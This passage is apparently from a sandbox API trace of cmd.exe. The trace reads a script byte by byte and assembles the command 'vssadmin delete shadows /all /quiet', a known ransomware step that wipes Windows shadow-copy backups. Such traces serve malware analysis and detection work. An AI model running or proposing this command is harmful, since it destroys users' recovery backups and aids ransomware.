dwFlags=0x1, lpMultiByteStr=0x4a6dc320, cbMultiByte=1, lpWideCharStr=0x4a6de320, cchWideChar=1 | out: lpWideCharStr="v") returned 1 [0038.541] _get_osfhandle (_FileHandle=0) returned 0xa0 [0038.541] SetFilePointer (in: hFile=0xa0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0038.541] ReadFile (in: hFile=0xa0, lpBuffer=0x4a6dc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1df8f8, lpOverlapped=0x0 | out: lpBuffer=0x4a6dc320*, lpNumberOfBytesRead=0x1df8f8*=0x1, lpOverlapped=0x0) returned 1 [0038.541] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a6dc320, cbMultiByte=1, lpWideCharStr=0x4a6de322, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0038.541] _get_osfhandle (_FileHandle=0) returned 0xa0 [0038.541] SetFilePointer (in: hFile=0xa0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0038.541] ReadFile (in: hFile=0xa0, lpBuffer=0x4a6dc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1df8f8, lpOverlapped=0x0 | out: lpBuffer=0x4a6dc320*, lpNumberOfBytesRead=0x1df8f8*=0x1, lpOverlapped=0x0) returned 1 [0038.541] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a6dc320, cbMultiByte=1, lpWideCharStr=0x4a6de324, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0038.541] _get_osfhandle (_FileHandle=0) returned 0xa0 [0038.541] SetFilePointer (in: hFile=0xa0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0038.541] ReadFile (in: hFile=0xa0, lpBuffer=0x4a6dc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1df8f8, lpOverlapped=0x0 | out: lpBuffer=0x4a6dc320*, lpNumberOfBytesRead=0x1df8f8*=0x1, lpOverlapped=0x0) returned 1 [0038.541] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a6dc320, cbMultiByte=1, lpWideCharStr=0x4a6de326, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0038.541] _get_osfhandle (_FileHandle=0) returned 0xa0 [0038.541] SetFilePointer (in: hFile=0xa0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0038.541] ReadFile (in: hFile=0xa0, lpBuffer=0x4a6dc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1df8f8, lpOverlapped=0x0 | out: lpBuffer=0x4a6dc320*, lpNumberOfBytesRead=0x1df8f8*=0x1, lpOverlapped=0x0) returned 1 [0038.541] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a6dc320, cbMultiByte=1, lpWideCharStr=0x4a6de328, cchWideChar=1 | out: lpWideCharStr="d") returned 1 [0038.541] _get_osfhandle (_FileHandle=0) returned 0xa0 [0038.541] SetFilePointer (in: hFile=0xa0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0038.541] ReadFile (in: hFile=0xa0, lpBuffer=0x4a6dc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1df8f8, lpOverlapped=0x0 | out: lpBuffer=0x4a6dc320*, lpNumberOfBytesRead=0x1df8f8*=0x1, lpOverlapped=0x0) returned 1 [0038.541] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a6dc320, cbMultiByte=1, lpWideCharStr=0x4a6de32a, cchWideChar=1 | out: lpWideCharStr="m") returned 1 [0038.541] _get_osfhandle (_FileHandle=0) returned 0xa0 [0038.541] SetFilePointer (in: hFile=0xa0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0038.541] ReadFile (in: hFile=0xa0, lpBuffer=0x4a6dc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1df8f8, lpOverlapped=0x0 | out: lpBuffer=0x4a6dc320*, lpNumberOfBytesRead=0x1df8f8*=0x1, lpOverlapped=0x0) returned 1 [0038.541] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a6dc320, cbMultiByte=1, lpWideCharStr=0x4a6de32c, cchWideChar=1 | out: lpWideCharStr="i") returned 1 [0038.541] _get_osfhandle (_FileHandle=0) returned 0xa0 [0038.541] SetFilePointer (in: hFile=0xa0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0038.542] ReadFile (in: hFile=0xa0, lpBuffer=0x4a6dc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1df8f8, lpOverlapped=0x0 | out: lpBuffer=0x4a6dc320*, lpNumberOfBytesRead=0x1df8f8*=0x1, lpOverlapped=0x0) returned 1 [0038.542] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a6dc320, cbMultiByte=1, lpWideCharStr=0x4a6de32e, cchWideChar=1 | out: lpWideCharStr="n") returned 1 [0038.542] _get_osfhandle (_FileHandle=0) returned 0xa0 [0038.542] SetFilePointer (in: hFile=0xa0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0038.542] ReadFile (in: hFile=0xa0, lpBuffer=0x4a6dc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1df8f8, lpOverlapped=0x0 | out: lpBuffer=0x4a6dc320*, lpNumberOfBytesRead=0x1df8f8*=0x1, lpOverlapped=0x0) returned 1 [0038.542] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a6dc320, cbMultiByte=1, lpWideCharStr=0x4a6de330, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0038.542] _get_osfhandle (_FileHandle=0) returned 0xa0 [0038.542] SetFilePointer (in: hFile=0xa0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0038.542] ReadFile (in: hFile=0xa0, lpBuffer=0x4a6dc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1df8f8, lpOverlapped=0x0 | out: lpBuffer=0x4a6dc320*, lpNumberOfBytesRead=0x1df8f8*=0x1, lpOverlapped=0x0) returned 1 [0038.542] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a6dc320, cbMultiByte=1, lpWideCharStr=0x4a6de332, cchWideChar=1 | out: lpWideCharStr="d") returned 1 [0038.542] _get_osfhandle (_FileHandle=0) returned 0xa0 [0038.542] SetFilePointer (in: hFile=0xa0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0038.542] ReadFile (in: hFile=0xa0, lpBuffer=0x4a6dc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1df8f8, lpOverlapped=0x0 | out: lpBuffer=0x4a6dc320*, lpNumberOfBytesRead=0x1df8f8*=0x1, lpOverlapped=0x0) returned 1 [0038.542] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a6dc320, cbMultiByte=1, lpWideCharStr=0x4a6de334, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0038.542] _get_osfhandle (_FileHandle=0) returned 0xa0 [0038.542] SetFilePointer (in: hFile=0xa0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0038.542] ReadFile (in: hFile=0xa0, lpBuffer=0x4a6dc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1df8f8, lpOverlapped=0x0 | out: lpBuffer=0x4a6dc320*, lpNumberOfBytesRead=0x1df8f8*=0x1, lpOverlapped=0x0) returned 1 [0038.542] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a6dc320, cbMultiByte=1, lpWideCharStr=0x4a6de336, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0038.542] _get_osfhandle (_FileHandle=0) returned 0xa0 [0038.542] SetFilePointer (in: hFile=0xa0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0038.542] ReadFile (in: hFile=0xa0, lpBuffer=0x4a6dc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1df8f8, lpOverlapped=0x0 | out: lpBuffer=0x4a6dc320*, lpNumberOfBytesRead=0x1df8f8*=0x1, lpOverlapped=0x0) returned 1 [0038.542] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a6dc320, cbMultiByte=1, lpWideCharStr=0x4a6de338, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0038.543] _get_osfhandle (_FileHandle=0) returned 0xa0 [0038.543] SetFilePointer (in: hFile=0xa0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0038.543] ReadFile (in: hFile=0xa0, lpBuffer=0x4a6dc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1df8f8, lpOverlapped=0x0 | out: lpBuffer=0x4a6dc320*, lpNumberOfBytesRead=0x1df8f8*=0x1, lpOverlapped=0x0) returned 1 [0038.543] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a6dc320, cbMultiByte=1, lpWideCharStr=0x4a6de33a, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0038.543] _get_osfhandle (_FileHandle=0) returned 0xa0 [0038.543] SetFilePointer (in: hFile=0xa0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0038.543] ReadFile (in: hFile=0xa0, lpBuffer=0x4a6dc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1df8f8, lpOverlapped=0x0 | out: lpBuffer=0x4a6dc320*, lpNumberOfBytesRead=0x1df8f8*=0x1, lpOverlapped=0x0) returned 1 [0038.543] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a6dc320, cbMultiByte=1, lpWideCharStr=0x4a6de33c, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0038.543] _get_osfhandle (_FileHandle=0) returned 0xa0 [0038.543] SetFilePointer (in: hFile=0xa0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0038.543] ReadFile (in: hFile=0xa0, lpBuffer=0x4a6dc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1df8f8, lpOverlapped=0x0 | out: lpBuffer=0x4a6dc320*, lpNumberOfBytesRead=0x1df8f8*=0x1, lpOverlapped=0x0) returned 1 [0038.543] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a6dc320, cbMultiByte=1, lpWideCharStr=0x4a6de33e, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0038.543] _get_osfhandle (_FileHandle=0) returned 0xa0 [0038.543] SetFilePointer (in: hFile=0xa0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0038.543] ReadFile (in: hFile=0xa0, lpBuffer=0x4a6dc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1df8f8, lpOverlapped=0x0 | out: lpBuffer=0x4a6dc320*, lpNumberOfBytesRead=0x1df8f8*=0x1, lpOverlapped=0x0) returned 1 [0038.543] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a6dc320, cbMultiByte=1, lpWideCharStr=0x4a6de340, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0038.543] _get_osfhandle (_FileHandle=0) returned 0xa0 [0038.543] SetFilePointer (in: hFile=0xa0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0038.543] ReadFile (in: hFile=0xa0, lpBuffer=0x4a6dc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1df8f8, lpOverlapped=0x0 | out: lpBuffer=0x4a6dc320*, lpNumberOfBytesRead=0x1df8f8*=0x1, lpOverlapped=0x0) returned 1 [0038.543] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a6dc320, cbMultiByte=1, lpWideCharStr=0x4a6de342, cchWideChar=1 | out: lpWideCharStr="h") returned 1 [0038.543] _get_osfhandle (_FileHandle=0) returned 0xa0 [0038.543] SetFilePointer (in: hFile=0xa0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0038.543] ReadFile (in: hFile=0xa0, lpBuffer=0x4a6dc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1df8f8, lpOverlapped=0x0 | out: lpBuffer=0x4a6dc320*, lpNumberOfBytesRead=0x1df8f8*=0x1, lpOverlapped=0x0) returned 1 [0038.543] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a6dc320, cbMultiByte=1, lpWideCharStr=0x4a6de344, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0038.543] _get_osfhandle (_FileHandle=0) returned 0xa0 [0038.543] SetFilePointer (in: hFile=0xa0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0038.543] ReadFile (in: hFile=0xa0, lpBuffer=0x4a6dc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1df8f8, lpOverlapped=0x0 | out: lpBuffer=0x4a6dc320*, lpNumberOfBytesRead=0x1df8f8*=0x1, lpOverlapped=0x0) returned 1 [0038.544] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a6dc320, cbMultiByte=1, lpWideCharStr=0x4a6de346, cchWideChar=1 | out: lpWideCharStr="d") returned 1 [0038.544] _get_osfhandle (_FileHandle=0) returned 0xa0 [0038.544] SetFilePointer (in: hFile=0xa0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0038.544] ReadFile (in: hFile=0xa0, lpBuffer=0x4a6dc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1df8f8, lpOverlapped=0x0 | out: lpBuffer=0x4a6dc320*, lpNumberOfBytesRead=0x1df8f8*=0x1, lpOverlapped=0x0) returned 1 [0038.544] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a6dc320, cbMultiByte=1, lpWideCharStr=0x4a6de348, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0038.544] _get_osfhandle (_FileHandle=0) returned 0xa0 [0038.544] SetFilePointer (in: hFile=0xa0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0038.544] ReadFile (in: hFile=0xa0, lpBuffer=0x4a6dc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1df8f8, lpOverlapped=0x0 | out: lpBuffer=0x4a6dc320*, lpNumberOfBytesRead=0x1df8f8*=0x1, lpOverlapped=0x0) returned 1 [0038.544] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a6dc320, cbMultiByte=1, lpWideCharStr=0x4a6de34a, cchWideChar=1 | out: lpWideCharStr="w") returned 1 [0038.544] _get_osfhandle (_FileHandle=0) returned 0xa0 [0038.544] SetFilePointer (in: hFile=0xa0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0038.544] ReadFile (in: hFile=0xa0, lpBuffer=0x4a6dc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1df8f8, lpOverlapped=0x0 | out: lpBuffer=0x4a6dc320*, lpNumberOfBytesRead=0x1df8f8*=0x1, lpOverlapped=0x0) returned 1 [0038.544] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a6dc320, cbMultiByte=1, lpWideCharStr=0x4a6de34c, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0038.544] _get_osfhandle (_FileHandle=0) returned 0xa0 [0038.544] SetFilePointer (in: hFile=0xa0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0038.544] ReadFile (in: hFile=0xa0, lpBuffer=0x4a6dc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1df8f8, lpOverlapped=0x0 | out: lpBuffer=0x4a6dc320*, lpNumberOfBytesRead=0x1df8f8*=0x1, lpOverlapped=0x0) returned 1 [0038.544] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a6dc320, cbMultiByte=1, lpWideCharStr=0x4a6de34e, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0038.544] _get_osfhandle (_FileHandle=0) returned 0xa0 [0038.544] SetFilePointer (in: hFile=0xa0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0038.544] ReadFile (in: hFile=0xa0, lpBuffer=0x4a6dc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1df8f8, lpOverlapped=0x0 | out: lpBuffer=0x4a6dc320*, lpNumberOfBytesRead=0x1df8f8*=0x1, lpOverlapped=0x0) returned 1 [0038.544] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a6dc320, cbMultiByte=1, lpWideCharStr=0x4a6de350, cchWideChar=1 | out: lpWideCharStr="/") returned 1 [0038.544] _get_osfhandle (_FileHandle=0) returned 0xa0 [0038.544] SetFilePointer (in: hFile=0xa0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0038.544] ReadFile (in: hFile=0xa0, lpBuffer=0x4a6dc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1df8f8, lpOverlapped=0x0 | out: lpBuffer=0x4a6dc320*, lpNumberOfBytesRead=0x1df8f8*=0x1, lpOverlapped=0x0) returned 1 [0038.544] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a6dc320, cbMultiByte=1, lpWideCharStr=0x4a6de352, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0038.544] _get_osfhandle (_FileHandle=0) returned 0xa0 [0038.544] SetFilePointer (in: hFile=0xa0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0038.545] ReadFile (in: hFile=0xa0, lpBuffer=0x4a6dc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1df8f8, lpOverlapped=0x0 | out: lpBuffer=0x4a6dc320*, lpNumberOfBytesRead=0x1df8f8*=0x1, lpOverlapped=0x0) returned 1 [0038.545] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a6dc320, cbMultiByte=1, lpWideCharStr=0x4a6de354, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0038.545] _get_osfhandle (_FileHandle=0) returned 0xa0 [0038.545] SetFilePointer (in: hFile=0xa0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0038.545] ReadFile (in: hFile=0xa0, lpBuffer=0x4a6dc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1df8f8, lpOverlapped=0x0 | out: lpBuffer=0x4a6dc320*, lpNumberOfBytesRead=0x1df8f8*=0x1, lpOverlapped=0x0) returned 1 [0038.545] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a6dc320, cbMultiByte=1, lpWideCharStr=0x4a6de356, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0038.545] _get_osfhandle (_FileHandle=0) returned 0xa0 [0038.545] SetFilePointer (in: hFile=0xa0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0038.545] ReadFile (in: hFile=0xa0, lpBuffer=0x4a6dc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1df8f8, lpOverlapped=0x0 | out: lpBuffer=0x4a6dc320*, lpNumberOfBytesRead=0x1df8f8*=0x1, lpOverlapped=0x0) returned 1 [0038.545] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a6dc320, cbMultiByte=1, lpWideCharStr=0x4a6de358, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0038.545] _get_osfhandle (_FileHandle=0) returned 0xa0 [0038.545] SetFilePointer (in: hFile=0xa0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0038.545] ReadFile (in: hFile=0xa0, lpBuffer=0x4a6dc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1df8f8, lpOverlapped=0x0 | out: lpBuffer=0x4a6dc320*, lpNumberOfBytesRead=0x1df8f8*=0x1, lpOverlapped=0x0) returned 1 [0038.545] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a6dc320, cbMultiByte=1, lpWideCharStr=0x4a6de35a, cchWideChar=1 | out: lpWideCharStr="/") returned 1 [0038.545] _get_osfhandle (_FileHandle=0) returned 0xa0 [0038.545] SetFilePointer (in: hFile=0xa0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0038.545] ReadFile (in: hFile=0xa0, lpBuffer=0x4a6dc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1df8f8, lpOverlapped=0x0 | out: lpBuffer=0x4a6dc320*, lpNumberOfBytesRead=0x1df8f8*=0x1, lpOverlapped=0x0) returned 1 [0038.545] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a6dc320, cbMultiByte=1, lpWideCharStr=0x4a6de35c, cchWideChar=1 | out: lpWideCharStr="q") returned 1 [0038.545] _get_osfhandle (_FileHandle=0) returned 0xa0 [0038.545] SetFilePointer (in: hFile=0xa0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0038.545] ReadFile (in: hFile=0xa0, lpBuffer=0x4a6dc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1df8f8, lpOverlapped=0x0 | out: lpBuffer=0x4a6dc320*, lpNumberOfBytesRead=0x1df8f8*=0x1, lpOverlapped=0x0) returned 1 [0038.545] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a6dc320, cbMultiByte=1, lpWideCharStr=0x4a6de35e, cchWideChar=1 | out: lpWideCharStr="u") returned 1 [0038.545] _get_osfhandle (_FileHandle=0) returned 0xa0 [0038.545] SetFilePointer (in: hFile=0xa0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0038.545] ReadFile (in: hFile=0xa0, lpBuffer=0x4a6dc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1df8f8, lpOverlapped=0x0 | out: lpBuffer=0x4a6dc320*, lpNumberOfBytesRead=0x1df8f8*=0x1, lpOverlapped=0x0) returned 1 [0038.545] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a6dc320, cbMultiByte=1, lpWideCharStr=0x4a6de360, cchWideChar=1 | out: lpWideCharStr="i") returned 1 [0038.545] _get_osfhandle (_FileHandle=0) returned 0xa0 [0038.545] SetFilePointer (in: hFile=0xa0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0038.546] ReadFile (in: hFile=0xa0, lpBuffer=0x4a6dc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1df8f8, lpOverlapped=0x0 | out: lpBuffer=0x4a6dc320*, lpNumberOfBytesRead=0x1df8f8*=0x1, lpOverlapped=0x0) returned 1 [0038.546] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a6dc320, cbMultiByte=1, lpWideCharStr=0x4a6de362, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0038.546] _get_osfhandle (_FileHandle=0) returned 0xa0 [0038.546] SetFilePointer (in: hFile=0xa0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0038.546] ReadFile (in: hFile=0xa0, lpBuffer=0x4a6dc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1df8f8, lpOverlapped=0x0 | out: lpBuffer=0x4a6dc320*, lpNumberOfBytesRead=0x1df8f8*=0x1, lpOverlapped=0x0) returned 1 [0038.546] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a6dc320, cbMultiByte=1, lpWideCharStr=0x4a6de364, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0038.546] _get_osfhandle (_FileHandle=0) returned 0xa0 [0038.546] SetFilePointer (in: hFile=0xa0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0038.546] ReadFile (in: hFile=0xa0, lpBuffer=0x4a6dc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1df8f8, lpOverlapped=0x0 | out: lpBuffer=0x4a6dc320*, lpNumberOfBytesRead=0x1df8f8*=0x1, lpOverlapped=0x0) returned 1 [0038.546] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a6dc320, cbMultiByte=1, lpWideCharStr=0x4a6de366, cchWideChar=1 | out: lpWideCharStr="\n") returned 1 [0038.547] _get_osfhandle (_FileHandle=0) returned 0xa0 [0038.547] GetFileType (hFile=0xa0) returned 0x3 [0038.547] _get_osfhandle (_FileHandle=0) returned 0xa0 [0038.547] SetFilePointer (in: hFile=0xa0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0038.547] _get_osfhandle (_FileHandle=1) returned 0xec [0038.547] GetFileType (hFile=0xec) returned 0x3 [0038.547] _get_osfhandle (_FileHandle=1) returned 0xec [0038.547] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="vssadmin delete shadows /all /quiet\n", cchWideChar=-1, lpMultiByteStr=0x4a6dc320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vssadmin delete shadows /all /quiet\n", lpUsedDefaultChar=0x0) returned 37 [0038.547] WriteFile (in: hFile=0xec, lpBuffer=0x4a6dc320*, nNumberOfBytesToWrite=0x24, lpNumberOfBytesWritten=0x1df8d8, lpOverlapped=0x0 | out: lpBuffer=0x4a6dc320*, lpNumberOfBytesWritten=0x1df8d8*=0x24, lpOverlapped=0x0) returned 1 [0038.547] GetProcessHeap () returned 0x2e0000 [0038.547] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x4012) returned 0x2fcd20 [0038.547] GetProcessHeap () returned 0x2e0000 [0038.547] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcd20 | out: hHeap=0x2e0000) returned 1 [0038.548] _wcsicmp (_String1="vssadmin", _String2=")") returned 77 [0038.548] _wcsicmp (_String1="FOR", _String2="vssadmin") returned -16 [0038.548] _wcsicmp (_String1="FOR/?", _String2="vssadmin") returned -16 [0038.548] _wcsicmp (_String1="IF", _String2="vssadmin") returned -13 [0038.548] _wcsicmp (_String1="IF/?", _String2="vssadmin") returned -13 [0038.548] _wcsicmp (_String1="REM", _String2="vssadmin") returned -4 [0038.548] _wcsicmp (_String1="REM/?", _String2="vssadmin") returned -4 [0038.548] GetProcessHeap () returned 0x2e0000 [0038.548] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xb0) returned 0x2f97e0 